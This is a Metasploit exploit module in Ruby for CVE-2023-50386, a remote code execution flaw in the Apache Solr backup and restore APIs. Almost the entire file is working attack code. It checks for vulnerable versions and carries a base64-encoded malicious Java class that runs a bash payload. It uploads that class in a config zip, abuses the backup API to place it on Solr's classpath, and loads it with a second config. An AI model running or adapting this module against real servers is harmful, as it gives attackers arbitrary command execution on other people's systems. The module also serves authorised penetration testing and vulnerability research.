380 lines
16 KiB
Ruby
380 lines
16 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Java
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::HTTP::ApacheSolr
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Apache Solr Backup/Restore APIs RCE',
|
|
'Description' => %q{
|
|
Apache Solr from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1 is affected by an Unrestricted Upload of File
|
|
with Dangerous Type vulnerability which can result in remote code execution in the context of the user running
|
|
Apache Solr. When Apache Solr creates a Collection, it will use a specific directory as the classpath and load
|
|
some classes from it. The backup function of the Collection can export malicious class files uploaded by
|
|
attackers to the directory, allowing Solr to load custom classes and create arbitrary Java code. Execution
|
|
can further bypass the Java sandbox configured by Solr, ultimately causing arbitrary command execution.
|
|
},
|
|
'Author' => [
|
|
'l3yx', # discovery
|
|
'jheysel-r7' # module
|
|
],
|
|
'References' => [
|
|
[ 'URL', 'https://xz.aliyun.com/t/13637?time__1311=mqmxnQ0QiQi%3DDtKDsD7md0%3DnxeqjghDMxTD'],
|
|
[ 'URL', 'https://github.com/rapid7/metasploit-framework/issues/18919'],
|
|
[ 'URL', 'https://github.com/vvmdx/Apache-Solr-RCE_CVE-2023-50386_POC'],
|
|
[ 'CVE', '2023-50386']
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Privileged' => false,
|
|
'Targets' => [
|
|
[
|
|
'Unix Command',
|
|
{
|
|
'Platform' => %w[unix linux],
|
|
'Arch' => ARCH_CMD
|
|
}
|
|
]
|
|
],
|
|
'Payload' => {
|
|
'BadChars' => "\x20"
|
|
},
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => {
|
|
'FETCH_WRITABLE_DIR' => '/tmp/'
|
|
},
|
|
'DisclosureDate' => '2024-02-24',
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE, ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES],
|
|
'Reliability' => [ REPEATABLE_SESSION, ]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8983),
|
|
OptString.new('USERNAME', [false, 'Solr username', 'solr']),
|
|
OptString.new('PASSWORD', [false, 'Solr password']),
|
|
OptString.new('TARGETURI', [false, 'Path to Solr', 'solr']),
|
|
]
|
|
)
|
|
end
|
|
|
|
# If authentication is used
|
|
@auth_string = ''
|
|
|
|
def check
|
|
print_status('Running check method')
|
|
auth_res = solr_check_auth
|
|
unless auth_res
|
|
return CheckCode::Unknown('Authentication failed!')
|
|
end
|
|
|
|
# convert to JSON
|
|
ver_json = auth_res.get_json_document
|
|
# get Solr version
|
|
solr_version = Rex::Version.new(ver_json['lucene']['solr-spec-version'])
|
|
print_status("Found Apache Solr #{solr_version}")
|
|
# get OS version details
|
|
@target_platform = ver_json['system']['name']
|
|
target_arch = ver_json['system']['arch']
|
|
target_osver = ver_json['system']['version']
|
|
print_status("OS version is #{@target_platform} #{target_arch} #{target_osver}")
|
|
|
|
unless solr_version.between?(Rex::Version.new('6.0.0'), Rex::Version.new('8.11.2')) ||
|
|
solr_version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.4.0'))
|
|
return CheckCode::Safe('Running version of Solr is not vulnerable!')
|
|
end
|
|
|
|
CheckCode::Appears("Found Apache Solr version: #{ver_json['lucene']['solr-spec-version']}")
|
|
end
|
|
|
|
# This method returns the compiled byte code of the following class, SourceParser.java:
|
|
#
|
|
# package zk_backup_0.configs.confname;
|
|
#
|
|
# import sun.misc.Unsafe;
|
|
# import java.io.BufferedReader;
|
|
# import java.io.File;
|
|
# import java.io.FileOutputStream;
|
|
# import java.io.InputStreamReader;
|
|
# import java.lang.reflect.Field;
|
|
# import java.lang.reflect.Method;
|
|
# import java.security.ProtectionDomain;
|
|
# import java.util.Map;
|
|
#
|
|
#
|
|
# public class SourceParser {
|
|
#
|
|
# static {
|
|
# try {
|
|
# Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
|
|
# unsafeField.setAccessible(true);
|
|
# Unsafe unsafe = (Unsafe) unsafeField.get(null);
|
|
# Module module = Object.class.getModule();
|
|
# Class<?> currentClass = SourceParser.class;
|
|
# long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
|
|
# unsafe.getAndSetObject(currentClass, addr, module);
|
|
#
|
|
# String[] cmd = {"bash", "-c", "METASPLOIT_PAYLOAD" };
|
|
# Class clz = Class.forName("java.lang.ProcessImpl");
|
|
# Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
|
|
# method.setAccessible(true);
|
|
# Process process = (Process) method.invoke(clz, cmd, null, null, null, false);
|
|
# } catch (Exception e) {
|
|
# e.printStackTrace();
|
|
# }
|
|
# }
|
|
# }
|
|
def go_go_gadget(configuration1_name)
|
|
gadget = ''
|
|
gadget << 'yv66vgAAAD0AaQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClW'
|
|
gadget << 'BwAIAQAPc3VuL21pc2MvVW5zYWZlCAAKAQAJdGhlVW5zYWZlCgAMAA0HAA4MAA8AEAEAD2phdmEv'
|
|
gadget << 'bGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZh'
|
|
gadget << 'L2xhbmcvcmVmbGVjdC9GaWVsZDsKABIAEwcAFAwAFQAWAQAXamF2YS9sYW5nL3JlZmxlY3QvRmll'
|
|
gadget << 'bGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgoAEgAYDAAZABoBAANnZXQBACYoTGphdmEvbGFuZy9P'
|
|
gadget << 'YmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoADAAcDAAdAB4BAAlnZXRNb2R1bGUBABQoKUxqYXZh'
|
|
gadget << 'L2xhbmcvTW9kdWxlOwcAIAEAKXprX2JhY2t1cF8wL2NvbmZpZ3MvY29uZm5hbWUvU291cmNlUGFy'
|
|
gadget << 'c2VyCAAiAQAGbW9kdWxlCgAHACQMACUAJgEAEW9iamVjdEZpZWxkT2Zmc2V0AQAcKExqYXZhL2xh'
|
|
gadget << 'bmcvcmVmbGVjdC9GaWVsZDspSgoABwAoDAApACoBAA9nZXRBbmRTZXRPYmplY3QBADkoTGphdmEv'
|
|
gadget << 'bGFuZy9PYmplY3Q7SkxqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHACwBABBq'
|
|
gadget << 'YXZhL2xhbmcvU3RyaW5nCAAuAQAEYmFzaAgAMAEAAi1jCAAyAQASTUVUQVNQTE9JVF9QQVlMT0FE'
|
|
gadget << 'CAA0AQAVamF2YS5sYW5nLlByb2Nlc3NJbXBsCgAMADYMADcAOAEAB2Zvck5hbWUBACUoTGphdmEv'
|
|
gadget << 'bGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7CAA6AQAFc3RhcnQHADwBABNbTGphdmEvbGFu'
|
|
gadget << 'Zy9TdHJpbmc7BwA+AQANamF2YS91dGlsL01hcAcAQAEAJFtMamF2YS9sYW5nL1Byb2Nlc3NCdWls'
|
|
gadget << 'ZGVyJFJlZGlyZWN0OwkAQgBDBwBEDABFAEYBABFqYXZhL2xhbmcvQm9vbGVhbgEABFRZUEUBABFM'
|
|
gadget << 'amF2YS9sYW5nL0NsYXNzOwoADABIDABJAEoBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9s'
|
|
gadget << 'YW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsK'
|
|
gadget << 'AEwAEwcATQEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAoAQgBPDABQAFEBAAd2YWx1ZU9mAQAW'
|
|
gadget << 'KFopTGphdmEvbGFuZy9Cb29sZWFuOwoATABTDABUAFUBAAZpbnZva2UBADkoTGphdmEvbGFuZy9P'
|
|
gadget << 'YmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAFcBABFqYXZhL2xh'
|
|
gadget << 'bmcvUHJvY2VzcwcAWQEAE2phdmEvbGFuZy9FeGNlcHRpb24KAFgAWwwAXAAGAQAPcHJpbnRTdGFj'
|
|
gadget << 'a1RyYWNlAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJs'
|
|
gadget << 'ZQEAClNvdXJjZUZpbGUBABFTb3VyY2VQYXJzZXIuamF2YQEADElubmVyQ2xhc3NlcwcAZQEAIWph'
|
|
gadget << 'dmEvbGFuZy9Qcm9jZXNzQnVpbGRlciRSZWRpcmVjdAcAZwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVp'
|
|
gadget << 'bGRlcgEACFJlZGlyZWN0ACEAHwACAAAAAAACAAEABQAGAAEAXQAAAB0AAQABAAAABSq3AAGxAAAA'
|
|
gadget << 'AQBeAAAABgABAAAADgAIAF8ABgABAF0AAAEaAAYACgAAAK8SBxIJtgALSyoEtgARKgG2ABfAAAdM'
|
|
gadget << 'EgK2ABtNEh9OKxIMEiG2AAu2ACM3BCstFgQstgAnVwa9ACtZAxItU1kEEi9TWQUSMVM6BhIzuAA1'
|
|
gadget << 'OgcZBxI5CL0ADFkDEjtTWQQSPVNZBRIrU1kGEj9TWQeyAEFTtgBHOggZCAS2AEsZCBkHCL0AAlkD'
|
|
gadget << 'GQZTWQQBU1kFAVNZBgFTWQcDuABOU7YAUsAAVjoJpwAISyq2AFqxAAEAAACmAKkAWAACAF4AAABC'
|
|
gadget << 'ABAAAAASAAgAEwANABQAFgAVABwAFgAfABcALAAYADUAGgBKABsAUQAcAHgAHQB+AB4ApgAhAKkA'
|
|
gadget << 'HwCqACAArgAiAGAAAAAJAAL3AKkHAFgEAAIAYQAAAAIAYgBjAAAACgABAGQAZgBoBAk='
|
|
gadget = Rex::Text.decode_base64(gadget)
|
|
# Replace 'confname' with our randomized 8 character configuration name
|
|
gadget.sub!('confname', configuration1_name)
|
|
# Replace the placeholder payload with our packed payload which is prefixed with it's size.
|
|
gadget.sub!("\x00\x12METASPLOIT_PAYLOAD", packed_payload(payload.encoded))
|
|
end
|
|
|
|
def packed_payload(pload)
|
|
"#{[pload.length].pack('n')}#{pload}"
|
|
end
|
|
|
|
def create_zip
|
|
zip_file = Rex::Zip::Archive.new
|
|
directory_to_zip = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'conf')
|
|
|
|
Dir.glob(File.join(directory_to_zip, '**', '*')).each do |file_path|
|
|
if File.file?(file_path)
|
|
relative_path = file_path.sub("#{directory_to_zip}/", '') # Get relative path
|
|
file_contents = File.read(file_path)
|
|
zip_file.add_file(relative_path, file_contents)
|
|
elsif File.directory?(file_path)
|
|
relative_path = file_path.sub("#{directory_to_zip}/", '') # Get relative path
|
|
zip_file.add_file(relative_path, nil, recursive: true)
|
|
end
|
|
end
|
|
|
|
zip_file
|
|
end
|
|
|
|
def upload_conf(file_name, zip_archive, conf_name)
|
|
mime = Rex::MIME::Message.new
|
|
mime.add_part(zip_archive, 'application/octet-stream', 'binary', "form-data; filename=\"#{file_name}\"")
|
|
|
|
res = solr_post({
|
|
'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),
|
|
'method' => 'POST',
|
|
'ctype' => 'application/octet-stream',
|
|
'data' => zip_archive,
|
|
'auth' => @auth_string,
|
|
'vars_get' => {
|
|
'action' => 'UPLOAD',
|
|
'name' => conf_name
|
|
}
|
|
})
|
|
|
|
fail_with(Failure::UnexpectedReply, 'No response from the target') unless res
|
|
fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200
|
|
|
|
data = res.get_json_document
|
|
if data.dig('responseHeader', 'status') == 0
|
|
print_good('Uploaded configuration successfully')
|
|
elsif data.dig('error', 'msg')
|
|
fail_with(Failure::UnexpectedReply, "Failed to upload configuration. Target responded with error: #{data['error']['msg']}")
|
|
else
|
|
fail_with(Failure::UnexpectedReply, "Failed to upload configuration: #{conf_name} to the target")
|
|
end
|
|
res
|
|
end
|
|
|
|
def create_collection(collection_name, configuration_name)
|
|
solr_get({
|
|
'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),
|
|
'method' => 'GET',
|
|
'auth' => @auth_string,
|
|
'vars_get' => {
|
|
'action' => 'CREATE',
|
|
'name' => collection_name,
|
|
'numShards' => 1,
|
|
'replicationFactor' => 1,
|
|
'wt' => 'json',
|
|
'collection.configName' => configuration_name
|
|
}
|
|
})
|
|
end
|
|
|
|
def backup_collection(collection_name, location, backup_name)
|
|
res = solr_get({
|
|
'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),
|
|
'method' => 'GET',
|
|
'auth' => @auth_string,
|
|
'vars_get' => {
|
|
'action' => 'BACKUP',
|
|
'collection' => collection_name,
|
|
'location' => location,
|
|
'name' => backup_name
|
|
}
|
|
})
|
|
|
|
fail_with(Failure::UnexpectedReply, 'No response from the target') unless res
|
|
|
|
data = res.get_json_document
|
|
|
|
if data.dig('responseHeader', 'status') == 0
|
|
print_good('Backed up collection successfully')
|
|
elsif data.dig('error', 'msg')
|
|
fail_with(Failure::UnexpectedReply, "Failed to Backup configuration. Target responded with error: #{data['error']['msg']}")
|
|
else
|
|
fail_with(Failure::UnexpectedReply, "Failed to create collection: #{collection_name} successfully")
|
|
end
|
|
res
|
|
end
|
|
|
|
def cleanup
|
|
print_status('Cleaning up...')
|
|
|
|
# Clean up collections and configurations
|
|
# Delete the collection first then the configs or you'll get the following error:
|
|
# "Can not delete ConfigSet as it is currently being used by collection [PchuSaNJ]"
|
|
if @collection_res&.code == 200
|
|
delete_collection_res = solr_get({
|
|
'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),
|
|
'method' => 'GET',
|
|
'auth' => @auth_string,
|
|
'vars_get' => {
|
|
'action' => 'DELETE',
|
|
'name' => @collection1_name
|
|
}
|
|
})
|
|
print_error("Unable to delete collection: #{@collection1_name}") unless delete_collection_res&.code == 200
|
|
end
|
|
|
|
if @conf1_res&.code == 200
|
|
delete_conf1_res = solr_get({
|
|
'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),
|
|
'method' => 'GET',
|
|
'auth' => @auth_string,
|
|
'vars_get' => {
|
|
'action' => 'DELETE',
|
|
'name' => @configuration1_name
|
|
}
|
|
})
|
|
print_error("Unable to delete config: #{@configuration1_name}") unless delete_conf1_res&.code == 200
|
|
end
|
|
|
|
if @conf2_res&.code == 200
|
|
delete_conf2_res = solr_get({
|
|
'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),
|
|
'method' => 'GET',
|
|
'auth' => @auth_string,
|
|
'vars_get' => {
|
|
'action' => 'DELETE',
|
|
'name' => @configuration2_name
|
|
}
|
|
})
|
|
print_error("Unable to delete config: #{@configuration2_name}") unless delete_conf2_res&.code == 200
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
@collection1_name = Rex::Text.rand_text_alpha(8)
|
|
@configuration1_name = Rex::Text.rand_text_alpha_lower(8)
|
|
@collection2_name = Rex::Text.rand_text_alpha(8)
|
|
|
|
# Zip up conf1
|
|
conf1_zip = create_zip
|
|
conf1_zip.add_file('SourceParser.class', go_go_gadget(@configuration1_name))
|
|
conf1_zip.add_file('solrconfig.xml', File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'solrconfig.xml')))
|
|
|
|
# Upload conf1
|
|
@conf1_res = upload_conf(@configuration1_name + '.zip', conf1_zip.pack, @configuration1_name)
|
|
|
|
# Create collection from conf1
|
|
@collection_res = create_collection(@collection1_name, @configuration1_name)
|
|
|
|
fail_with(Failure::UnexpectedReply, 'No response from the target') unless @collection_res
|
|
data = @collection_res.get_json_document
|
|
if @collection_res.code == 200 && data['responseHeader']['status'] == 0
|
|
vprint_good('Created collection successfully')
|
|
elsif data['error']['msg']
|
|
fail_with(Failure::UnexpectedReply, "Failed to upload configuration. Target responded with error: #{data['error']['msg']}")
|
|
else
|
|
fail_with(Failure::UnexpectedReply, "Failed to create collection: #{collection_name} successfully")
|
|
end
|
|
|
|
# Backup collection and export conf1
|
|
location = '/var/solr/data/'
|
|
backup_name = "#{@collection2_name}_shard1_replica_n1"
|
|
backup_collection(@collection1_name, location, backup_name)
|
|
|
|
# Now you need to export it again through the backup and interface `collection1` note the changes in `location` and `name`:
|
|
location = "/var/solr/data/#{backup_name}"
|
|
backup_name = 'lib'
|
|
backup_collection(@collection1_name, location, backup_name)
|
|
|
|
# Zip up conf2
|
|
conf2_zip = create_zip
|
|
editted_solrconfig = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'solrconfig.xml'))
|
|
editted_solrconfig = editted_solrconfig.gsub('</config>', " <valueSourceParser name=\"myfunc\" class=\"zk_backup_0.configs.#{@configuration1_name}.SourceParser\" />\n</config>")
|
|
conf2_zip.add_file('solrconfig.xml', editted_solrconfig)
|
|
|
|
# Upload conf2
|
|
@configuration2_name = Rex::Text.rand_text_alpha(8)
|
|
@conf2_res = upload_conf('conf2.zip', conf2_zip.pack, @configuration2_name)
|
|
|
|
# Attempt to create a collection from conf2 which will load the SourceParser.class we uploaded as a port of the
|
|
# first conf1 which will then cause an error as it executes our malicious class (the collection does not get created)
|
|
res = create_collection(@collection2_name, @configuration2_name)
|
|
|
|
fail_with(Failure::UnexpectedReply, 'No response from the target') unless res
|
|
data = res&.get_json_document
|
|
if res.code == 400 && data['error']['msg'] == "Underlying core creation failed while creating collection: #{@collection2_name}"
|
|
print_good('Successfully dropped the payload')
|
|
else
|
|
fail_with(Failure::UnexpectedReply, "Failed to create collection: #{@configuration2_name} successfully")
|
|
end
|
|
end
|
|
end
|